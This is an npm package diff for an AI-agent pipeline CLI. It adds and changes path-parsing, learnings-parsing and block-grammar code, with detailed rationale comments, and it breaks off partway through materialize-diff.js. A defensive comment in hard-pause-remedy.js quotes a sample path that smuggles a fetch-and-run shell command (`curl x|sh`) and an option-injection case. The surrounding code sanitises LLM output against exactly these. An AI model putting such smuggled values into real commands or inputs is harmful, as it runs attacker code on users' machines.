@hone-ai/cli 1.34.0 → 1.35.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/hone-mcp.js +1 -0
- package/hone-cli.js +1263 -756
- package/lib/agent-eval-pacing.js +102 -0
- package/lib/agent-eval-probes-boundary.js +0 -0
- package/lib/agent-eval-probes-stateful.js +72 -0
- package/lib/agent-eval-score.js +70 -0
- package/lib/agent-executor.js +26 -4
- package/lib/asset-fetch-list.js +72 -0
- package/lib/auto-verify.js +67 -3
- package/lib/batch-follow.js +333 -0
- package/lib/block-grammar.js +126 -0
- package/lib/bundle-context.js +43 -4
- package/lib/bundle-paths.js +698 -1
- package/lib/bundle-source-dirs.js +79 -0
- package/lib/doctor-bind-default.js +192 -18
- package/lib/doctor-local-run.js +139 -1
- package/lib/emit-pr.js +39 -6
- package/lib/git-helpers.js +19 -8
- package/lib/hard-pause-remedy.js +101 -0
- package/lib/include-paths.js +155 -0
- package/lib/learnings-parse.js +51 -6
- package/lib/materialize-diff.js +131 -73
- package/lib/pipeline-config.js +182 -0
- package/lib/private-temp.js +34 -0
- package/lib/promote-payload.js +77 -0
- package/lib/refresh-knowledge.js +15 -6
- package/lib/repo-tree.js +22 -3
- package/lib/run-context.js +698 -0
- package/lib/sandbox-lifecycle.js +357 -0
- package/lib/schedule-cron.js +1 -1
- package/lib/skill-assertions.js +61 -7
- package/lib/skill-audit-render.js +1 -1
- package/lib/story-classifier-extract.js +16 -8
- package/lib/story-classifier.js +64 -0
- package/lib/story-compose.js +69 -0
- package/lib/story-line.js +40 -0
- package/lib/story-provenance.js +267 -0
- package/lib/timeout-option.js +42 -0
- package/lib/untrusted-code-env.js +51 -0
- package/lib/verdict-env.js +31 -0
- package/lib/verify-patch.js +74 -4
- package/lib/verify-pr.js +2 -1
- package/lib/worktree-provision.js +62 -2
- package/package.json +1 -1
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
/**
|
|
3
|
+
* hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
|
|
4
|
+
*
|
|
5
|
+
* The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
|
|
6
|
+
* outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
|
|
7
|
+
* what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
|
|
8
|
+
* by the existing GET diagnostics allowlist. This turns it into one pasteable line.
|
|
9
|
+
*
|
|
10
|
+
* PURE: data in, strings out. No fs, no console, no process.
|
|
11
|
+
*
|
|
12
|
+
* TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
|
|
13
|
+
* a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
|
|
14
|
+
* output. That is what makes the deploy order free: server-first works because the CLI ignores
|
|
15
|
+
* the new key, CLI-first works because the key is simply absent.
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* The request belonging to the step the run is PAUSED AT, or null.
|
|
20
|
+
*
|
|
21
|
+
* SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
|
|
22
|
+
* once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
|
|
23
|
+
* scan over every step then prints step_1's files at an unrelated step_4 gate — a command
|
|
24
|
+
* attributed to nothing, at a step that asked for nothing.
|
|
25
|
+
*
|
|
26
|
+
* That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
|
|
27
|
+
* stale-but-plausible instruction is worse than none, because the builder acts on it". A
|
|
28
|
+
* printed re-queue command is exactly the kind an operator acts on without re-deriving it.
|
|
29
|
+
*
|
|
30
|
+
* Returning null for a gate with no request of its own is correct and is today's output.
|
|
31
|
+
*
|
|
32
|
+
* @param {object} status a GET /orchestrate/:runId payload, straight off the network and
|
|
33
|
+
* therefore not trusted to have any particular shape
|
|
34
|
+
* @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
|
|
35
|
+
*/
|
|
36
|
+
function remedyFor(status) {
|
|
37
|
+
const s = (status && typeof status === 'object') ? status : {};
|
|
38
|
+
const steps = Array.isArray(s.steps) ? s.steps : [];
|
|
39
|
+
const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
|
|
40
|
+
if (!step) return null;
|
|
41
|
+
const diag = step.diagnostics;
|
|
42
|
+
if (!diag || typeof diag !== 'object') return null;
|
|
43
|
+
const rec = diag.failure_record;
|
|
44
|
+
if (!rec || typeof rec !== 'object') return null;
|
|
45
|
+
const req = rec.context_requests;
|
|
46
|
+
if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
|
|
47
|
+
const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
|
|
48
|
+
if (paths.length === 0) return null;
|
|
49
|
+
return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
/**
|
|
53
|
+
* H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
|
|
54
|
+
* the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
|
|
55
|
+
* bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
|
|
56
|
+
* so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
|
|
57
|
+
*
|
|
58
|
+
* DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
|
|
59
|
+
* artifact than a real filename, and a silently quoted oddity is a command that runs and does
|
|
60
|
+
* nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
|
|
61
|
+
* The parser upstream stays total — it records what the agent wrote; only printing is guarded.
|
|
62
|
+
*/
|
|
63
|
+
const SAFE_TOKEN = /^[\w./:@+-]+$/;
|
|
64
|
+
const SAFE_STORY_ID = /^[\w.-]+$/;
|
|
65
|
+
|
|
66
|
+
function tokenOf(p) {
|
|
67
|
+
return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
function isSafeToken(t) {
|
|
71
|
+
return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
/** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
|
|
75
|
+
function partitionSafePaths(paths) {
|
|
76
|
+
const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
|
|
77
|
+
const safe = [];
|
|
78
|
+
const dropped = [];
|
|
79
|
+
for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
|
|
80
|
+
return { safe, dropped };
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
/**
|
|
84
|
+
* One ready-to-paste command, built from the SAFE paths only.
|
|
85
|
+
*
|
|
86
|
+
* REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
|
|
87
|
+
* (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
|
|
88
|
+
* use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
|
|
89
|
+
* as the agent wrote it.
|
|
90
|
+
*
|
|
91
|
+
* A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
|
|
92
|
+
* edit beats one that looks correct and is not, or one that runs something else.
|
|
93
|
+
*/
|
|
94
|
+
function renderIncludePathsCommand(storyId, paths) {
|
|
95
|
+
const { safe } = partitionSafePaths(paths);
|
|
96
|
+
if (safe.length === 0) return '';
|
|
97
|
+
const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
|
|
98
|
+
return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
/**
|
|
3
|
+
* `--include-paths` is the operator's escape hatch when the bundler cannot see a
|
|
4
|
+
* file the story needs. HC-GF-202: it accepted only ONE form.
|
|
5
|
+
*
|
|
6
|
+
* The option is declared `<paths>`, single-valued and comma-separated, so
|
|
7
|
+
* commander keeps the LAST occurrence when the flag is repeated. The planner's
|
|
8
|
+
* own refusal printed `--include-paths Makefile --include-paths scripts/`, which
|
|
9
|
+
* therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
|
|
10
|
+
* operator who followed the instruction exactly received a byte-identical bundle
|
|
11
|
+
* to having passed nothing at all. Measured twice, 7,621 chars each.
|
|
12
|
+
*
|
|
13
|
+
* Both forms are now accepted. The advice the planner prints is correct and is
|
|
14
|
+
* the cheapest escape hatch the bundler has; the flag honours it.
|
|
15
|
+
*/
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* commander collector: accumulate every occurrence instead of replacing.
|
|
19
|
+
* Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
|
|
20
|
+
*/
|
|
21
|
+
function collectIncludePaths(value, previous) {
|
|
22
|
+
return (Array.isArray(previous) ? previous : []).concat([value]);
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Normalise whatever the flag produced into an ordered, de-duplicated path list.
|
|
27
|
+
* Accepts a bare string (comma form), an array (repeated flags), or a mix.
|
|
28
|
+
*/
|
|
29
|
+
function parseIncludePaths(raw) {
|
|
30
|
+
if (raw === undefined || raw === null) return [];
|
|
31
|
+
const parts = Array.isArray(raw) ? raw : [raw];
|
|
32
|
+
const out = [];
|
|
33
|
+
for (const part of parts) {
|
|
34
|
+
for (const piece of String(part).split(',')) {
|
|
35
|
+
const p = piece.trim();
|
|
36
|
+
// An empty entry would become a candidate path of '', which existsSync
|
|
37
|
+
// answers false for — a silent no-op indistinguishable from a typo.
|
|
38
|
+
if (!p) continue;
|
|
39
|
+
if (!out.includes(p)) out.push(p);
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
return out;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Split one `--include-paths` entry into the file and the region inside it.
|
|
47
|
+
*
|
|
48
|
+
* HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
|
|
49
|
+
* notice tells the operator to "name them as `path:<line>` to bundle one
|
|
50
|
+
* directly". But the flag added the RAW string as a candidate path, so
|
|
51
|
+
* `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
|
|
52
|
+
* the entry vanished with no message — the file then fell back to inferred
|
|
53
|
+
* anchors and bundled the same wrong regions. The remedy the tool printed was a
|
|
54
|
+
* form the tool did not accept.
|
|
55
|
+
*
|
|
56
|
+
* A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
|
|
57
|
+
* that calls `provisionWorktree`"); an operator can copy one out of a refusal,
|
|
58
|
+
* but to use the numeric form they must open the file and count.
|
|
59
|
+
*
|
|
60
|
+
* Deliberately strict: only a positive integer is a line, and only a JS-style
|
|
61
|
+
* identifier is a symbol. Anything else stays part of the path, because
|
|
62
|
+
* reinterpreting a malformed entry is how a typo becomes a silent no-op.
|
|
63
|
+
*/
|
|
64
|
+
function parseIncludeTarget(entry) {
|
|
65
|
+
const raw = String(entry === undefined || entry === null ? '' : entry).trim();
|
|
66
|
+
const mLine = raw.match(/^(.+):(\d+)$/);
|
|
67
|
+
if (mLine && Number(mLine[2]) > 0) {
|
|
68
|
+
return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
|
|
69
|
+
}
|
|
70
|
+
const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
|
|
71
|
+
if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
|
|
72
|
+
return { raw, path: raw, line: null, symbol: null };
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Split include-path entries into those whose FILE exists and those that resolve
|
|
77
|
+
* to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
|
|
78
|
+
* silence, which is indistinguishable from it having been bundled — six attempts
|
|
79
|
+
* were spent before anyone noticed the flag had done nothing.
|
|
80
|
+
*/
|
|
81
|
+
function partitionIncludeTargets(entries, exists) {
|
|
82
|
+
const resolved = [];
|
|
83
|
+
const missing = [];
|
|
84
|
+
for (const entry of parseIncludePaths(entries)) {
|
|
85
|
+
const target = parseIncludeTarget(entry);
|
|
86
|
+
(exists(target.path) ? resolved : missing).push(target);
|
|
87
|
+
}
|
|
88
|
+
return { resolved, missing };
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
/**
|
|
92
|
+
* Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
|
|
93
|
+
*
|
|
94
|
+
* The bundler kept one line per file and filled it story-first, so an operator's
|
|
95
|
+
* `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
|
|
96
|
+
* with no message and M bundled again. Measured on run 31f78a92: five other anchors were
|
|
97
|
+
* honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
|
|
98
|
+
* An operator names a region because the bundle lacked it, usually on the pipeline's own
|
|
99
|
+
* advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
|
|
100
|
+
*
|
|
101
|
+
* ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
|
|
102
|
+
* agent already had and asked for MORE than, and dropping it trades one refusal for another.
|
|
103
|
+
* That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
|
|
104
|
+
*
|
|
105
|
+
* A symbol resolves against the file's contents, so it can only be resolved here. One that
|
|
106
|
+
* does not resolve is returned in `unresolved`, never dropped in silence.
|
|
107
|
+
*
|
|
108
|
+
* @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
|
|
109
|
+
* @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
|
|
110
|
+
*/
|
|
111
|
+
function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
|
|
112
|
+
const { definitionIndexOf } = require('./bundle-paths');
|
|
113
|
+
const text = String(content || '');
|
|
114
|
+
const anchors = [];
|
|
115
|
+
const unresolved = [];
|
|
116
|
+
const add = (line, raw, source) => {
|
|
117
|
+
if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
|
|
118
|
+
};
|
|
119
|
+
for (const t of Array.isArray(operator) ? operator : []) {
|
|
120
|
+
if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
|
|
121
|
+
if (!t.symbol) continue;
|
|
122
|
+
const idx = definitionIndexOf(text, t.symbol);
|
|
123
|
+
if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
|
|
124
|
+
add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
|
|
125
|
+
}
|
|
126
|
+
if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
|
|
127
|
+
return { anchors, unresolved };
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
|
|
132
|
+
*
|
|
133
|
+
* Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
|
|
134
|
+
* symbol they passed, not as a line number they never saw.
|
|
135
|
+
*
|
|
136
|
+
* @param {Array<{line: number, raw: string, source: string}>} anchors from statedAnchorsFor
|
|
137
|
+
* @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured from planFileExcerpt
|
|
138
|
+
* @returns {string[]}
|
|
139
|
+
*/
|
|
140
|
+
function anchorWarnings(anchors, unhonoured) {
|
|
141
|
+
const out = [];
|
|
142
|
+
for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
|
|
143
|
+
const a = (anchors || []).find((x) => x.line === u.line);
|
|
144
|
+
const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
|
|
145
|
+
out.push(u.reason === 'past-eof'
|
|
146
|
+
? ` \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
|
|
147
|
+
: ` \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
|
|
148
|
+
}
|
|
149
|
+
return out;
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
module.exports = {
|
|
153
|
+
collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
|
|
154
|
+
statedAnchorsFor, anchorWarnings,
|
|
155
|
+
};
|
package/lib/learnings-parse.js
CHANGED
|
@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
|
|
|
122
122
|
// LC-001: validateCategory may throw on malformed enum value. Catch and
|
|
123
123
|
// surface as parseError rather than crashing the whole file walk.
|
|
124
124
|
try {
|
|
125
|
-
|
|
126
|
-
|
|
125
|
+
// HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
|
|
126
|
+
// exist there. It is set only for a non-array object carrying BOTH arrays: A
|
|
127
|
+
// requires Array.isArray(parsed), which that test excludes, and had both arrays
|
|
128
|
+
// been present C would have won detection, so B never sees one either. Passing a
|
|
129
|
+
// field that is always undefined reads like a carried value and is not one.
|
|
130
|
+
if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
|
|
131
|
+
if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
|
|
127
132
|
if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
|
|
128
133
|
if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
|
|
129
134
|
} catch (e) {
|
|
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
|
|
|
150
155
|
// LC-001: optional categorization fields (G2 partial). All optional;
|
|
151
156
|
// default null. validateCategory throws on malformed enum.
|
|
152
157
|
category: validateCategory(i.category),
|
|
158
|
+
// HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
|
|
159
|
+
// of intent there is". None of these four maps carried it, so that branch never executed in
|
|
160
|
+
// this repo and routing fell through to `agent` — the field that records who NOTICED.
|
|
161
|
+
// Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
|
|
162
|
+
// defect recurring on the field that fix introduced: it added `target_skill` to
|
|
163
|
+
// `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
|
|
164
|
+
target_skill: i.target_skill || null,
|
|
153
165
|
referenced_skill: i.referenced_skill || null,
|
|
154
166
|
referenced_section: i.referenced_section || null,
|
|
155
167
|
evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
|
|
168
|
+
// HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
|
|
169
|
+
// which is why its handoffs went unasserted — but an adopter's older files still can.
|
|
170
|
+
type: i.type || null,
|
|
171
|
+
agent: i.agent || null,
|
|
172
|
+
proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
|
|
156
173
|
}));
|
|
157
174
|
}
|
|
158
175
|
|
|
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
|
|
|
181
198
|
// `candidate_for` already serves the role of referenced_skill, so
|
|
182
199
|
// we fall back to it when the explicit field is absent.
|
|
183
200
|
category: validateCategory(c.category),
|
|
201
|
+
// HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
|
|
202
|
+
// work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
|
|
203
|
+
// destination would invent an intent the author did not state.
|
|
204
|
+
target_skill: c.target_skill || null,
|
|
184
205
|
referenced_skill: c.referenced_skill || c.candidate_for || null,
|
|
185
206
|
referenced_section: c.referenced_section || null,
|
|
186
207
|
evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
|
|
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
|
|
|
211
232
|
_schema: SCHEMA_C,
|
|
212
233
|
// LC-001: optional categorization fields (G2 partial).
|
|
213
234
|
category: validateCategory(l.category),
|
|
235
|
+
target_skill: l.target_skill || null, // HC-GF-264
|
|
214
236
|
referenced_skill: l.referenced_skill || null,
|
|
215
237
|
referenced_section: l.referenced_section || null,
|
|
216
238
|
evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
|
|
239
|
+
// HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
|
|
240
|
+
// promoted learning reached the server with `type: unknown` and no agent or fix text.
|
|
241
|
+
type: l.type || null,
|
|
242
|
+
agent: l.agent || null,
|
|
243
|
+
proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
|
|
217
244
|
}));
|
|
218
245
|
}
|
|
219
246
|
|
|
@@ -245,9 +272,15 @@ function parseSchemaD(doc, includePromoted = false) {
|
|
|
245
272
|
enterprise_candidate: true,
|
|
246
273
|
_schema: SCHEMA_D,
|
|
247
274
|
category: validateCategory(doc.category),
|
|
275
|
+
target_skill: doc.target_skill || null, // HC-GF-264
|
|
248
276
|
referenced_skill: doc.referenced_skill || null,
|
|
249
277
|
referenced_section: doc.referenced_section || null,
|
|
250
278
|
evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
|
|
279
|
+
// HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
|
|
280
|
+
// leaves those routing to 'general'.
|
|
281
|
+
type: doc.type || null,
|
|
282
|
+
agent: doc.agent || null,
|
|
283
|
+
proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
|
|
251
284
|
}];
|
|
252
285
|
}
|
|
253
286
|
|
|
@@ -279,7 +312,11 @@ function escapeRegex(s) {
|
|
|
279
312
|
function writeBackA(content, ids) {
|
|
280
313
|
for (const id of ids) {
|
|
281
314
|
const escaped = escapeRegex(id);
|
|
282
|
-
|
|
315
|
+
// HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
|
|
316
|
+
// no `status:` of its own it ran on to the NEXT item's and marked the WRONG
|
|
317
|
+
// learning promoted, leaving the named one pending forever. Stop at the next
|
|
318
|
+
// top-level `- id:` line, which is where this item's block ends.
|
|
319
|
+
const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
|
|
283
320
|
if (idPattern.test(content)) {
|
|
284
321
|
content = content.replace(idPattern, '$1promoted');
|
|
285
322
|
}
|
|
@@ -355,16 +392,24 @@ function rewriteWithStatusInsertion(content, matcher) {
|
|
|
355
392
|
if (!r.matched) continue;
|
|
356
393
|
|
|
357
394
|
// Look ahead through this item's block to detect existing status.
|
|
358
|
-
let
|
|
395
|
+
let statusIdx = -1;
|
|
359
396
|
for (let j = i + 1; j < lines.length; j++) {
|
|
360
397
|
const next = lines[j];
|
|
361
398
|
// End of block: next sibling id line at the same-or-lesser list indent.
|
|
362
399
|
if (/^ {2,}- id:/.test(next)) break;
|
|
363
400
|
// End of block: a non-indented (top-level) line means we've left the array.
|
|
364
401
|
if (/^\S/.test(next)) break;
|
|
365
|
-
if (/^ {4,}status:\s*\S/.test(next)) {
|
|
402
|
+
if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
|
|
366
403
|
}
|
|
367
|
-
if (
|
|
404
|
+
if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
|
|
405
|
+
// HC-GF-208: an existing status line used to end the matter, so a learning
|
|
406
|
+
// authored with `status: pending` could never be flipped — it stayed eligible
|
|
407
|
+
// and was re-promoted on every run, while the write still reported success
|
|
408
|
+
// because the content came back byte-identical. Rewrite pending in place.
|
|
409
|
+
// Any other state (promoted, retracted) is deliberate and left alone: a
|
|
410
|
+
// retracted learning must not be silently re-promoted.
|
|
411
|
+
const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
|
|
412
|
+
if (st) lines[statusIdx] = `${st[1]}promoted`;
|
|
368
413
|
}
|
|
369
414
|
return out.join('\n');
|
|
370
415
|
}
|
package/lib/materialize-diff.js
CHANGED
|
@@ -22,33 +22,20 @@
|
|
|
22
22
|
const path = require('node:path');
|
|
23
23
|
|
|
24
24
|
/**
|
|
25
|
-
*
|
|
26
|
-
*
|
|
25
|
+
* The block grammar — `file:` and `edit:` blocks, the OLD/NEW split, `DELETE:` lines — lives in
|
|
26
|
+
* block-grammar.js, a byte-identical copy of the server's, so the CLI that applies a build and the
|
|
27
|
+
* server that stores it read the same blocks (HC-GF-290). Its comments carry the history: HC-GF-022
|
|
28
|
+
* (an empty block), HC-GF-127 (a longer fence for a `file:`), HC-GF-109 (a framed edit body) and
|
|
29
|
+
* HC-GF-290 (a longer fence for an `edit:`).
|
|
27
30
|
*
|
|
28
|
-
* HC-
|
|
29
|
-
*
|
|
30
|
-
*
|
|
31
|
-
*
|
|
32
|
-
*
|
|
33
|
-
*
|
|
34
|
-
* written containing a literal ``` `, and the following file — 2,888 bytes of
|
|
35
|
-
* pipeline logic — vanished from the diff entirely. `check-patch` reported
|
|
36
|
-
* "applies cleanly", because the diff git built from the surviving blocks was
|
|
37
|
-
* perfectly valid. Line-anchoring is also strictly better for a body that
|
|
38
|
-
* contains an indented or info-tagged fence of its own.
|
|
31
|
+
* A `file:` block (HC-019n-followup-23) is a whole file. An `edit:` block (HC-019n-followup-27) is for
|
|
32
|
+
* a file too big to bundle whole (>25K chars, truncated/windowed): step_4 never saw the whole file,
|
|
33
|
+
* so it emits a unique OLD anchor from the excerpt it WAS shown and its NEW replacement, framed with
|
|
34
|
+
* conflict markers. The CLI applies OLD→NEW to the REAL full file on disk and lets git build the
|
|
35
|
+
* diff — so the count stays git's, exactly as for whole-file blocks. See
|
|
36
|
+
* .github/pipeline/HC-019n-followup-27/architect.md.
|
|
39
37
|
*/
|
|
40
|
-
|
|
41
|
-
* HC-GF-127: the fence is 3 OR MORE backticks, and the closer must MATCH the opener (backreference).
|
|
42
|
-
*
|
|
43
|
-
* It used to be exactly three, so a block closed on the first ``` line inside it: a README carrying
|
|
44
|
-
* a ```js sample ended AT the sample, the rest was lost, and `malformed` came back empty — the
|
|
45
|
-
* artifact looked valid and materialized to the wrong bytes. Widening the opener alone would not
|
|
46
|
-
* help; only a matching closer lets a wider fence carry content that contains a narrower one.
|
|
47
|
-
*
|
|
48
|
-
* 3-backtick blocks parse exactly as before: `\1` on a 3-backtick opener IS the old literal. Pinned
|
|
49
|
-
* against 48 artifacts captured from real runs.
|
|
50
|
-
*/
|
|
51
|
-
const FILE_BLOCK_RE = /^[ \t]*(`{3,})[ \t]*file[ \t]*:[ \t]*([^\n`]+?)[ \t]*\r?\n([\s\S]*?)^[ \t]*\1[ \t]*\r?$/gim;
|
|
38
|
+
const { FILE_BLOCK_RE, EDIT_BLOCK_RE, EDIT_OPEN_RE, EDIT_SPLIT_RE, DELETE_RE } = require('./block-grammar');
|
|
52
39
|
|
|
53
40
|
/**
|
|
54
41
|
* The line-anchored closer necessarily absorbs the newline that terminates the
|
|
@@ -60,39 +47,6 @@ function blockBody(raw) {
|
|
|
60
47
|
return String(raw == null ? '' : raw).replace(/\r?\n$/, '');
|
|
61
48
|
}
|
|
62
49
|
|
|
63
|
-
/**
|
|
64
|
-
* A ```edit:<path> fenced block — HC-019n-followup-27. For a file too big to
|
|
65
|
-
* bundle whole (>25K chars, truncated/windowed), step_4 cannot emit a whole-file
|
|
66
|
-
* block (it never saw the whole file). Instead it emits a REGION edit: a unique
|
|
67
|
-
* OLD anchor (from the excerpt it WAS shown) and its NEW replacement, framed with
|
|
68
|
-
* conflict markers. The CLI applies OLD→NEW to the REAL full file on disk and
|
|
69
|
-
* lets git build the diff — so the count stays git's, exactly as for whole-file
|
|
70
|
-
* blocks. See .github/pipeline/HC-019n-followup-27/architect.md.
|
|
71
|
-
*/
|
|
72
|
-
const EDIT_BLOCK_RE = new RegExp(
|
|
73
|
-
'^[ \\t]*```[ \\t]*edit[ \\t]*:[ \\t]*([^\\n`]+?)[ \\t]*\\r?\\n(' +
|
|
74
|
-
// HC-GF-109: a framed body ends at the fence after its `>>>>>>> NEW` line, so a NEW holding a fence line of its own
|
|
75
|
-
// (a docstring example, a Markdown file) is not cut short, and it never runs on into the next block.
|
|
76
|
-
'<{3,}[ \\t]*OLD[ \\t]*\\r?\\n(?:(?!^[ \\t]*```[ \\t]*(?:file|edit)[ \\t]*:)[\\s\\S])*?^>{3,}[ \\t]*NEW[ \\t]*\\r?\\n' +
|
|
77
|
-
// Anything else runs to the first fence line, and extractFileBlocks reports it as malformed.
|
|
78
|
-
'|(?:(?!^[ \\t]*```)[\\s\\S])*?' +
|
|
79
|
-
')^[ \\t]*```[ \\t]*\\r?$',
|
|
80
|
-
'gim');
|
|
81
|
-
|
|
82
|
-
/** HC-GF-109: the opening line of an edit block, whether or not the block parses — compared, so none is lost. */
|
|
83
|
-
const EDIT_OPEN_RE = /^[ \t]*`{3,}[ \t]*edit[ \t]*:[ \t]*([^\n`]+?)[ \t]*\r?$/gim;
|
|
84
|
-
|
|
85
|
-
/**
|
|
86
|
-
* The OLD/NEW split inside an edit block. `<<<<<<< OLD` … `=======` … `>>>>>>> NEW`.
|
|
87
|
-
* Whitespace after the marker word is tolerated; the bodies are captured verbatim
|
|
88
|
-
* (indentation is part of the anchor). An empty NEW deletes the anchor (HC-GF-109) — it used to
|
|
89
|
-
* fail this split, and the block was skipped without a word.
|
|
90
|
-
*/
|
|
91
|
-
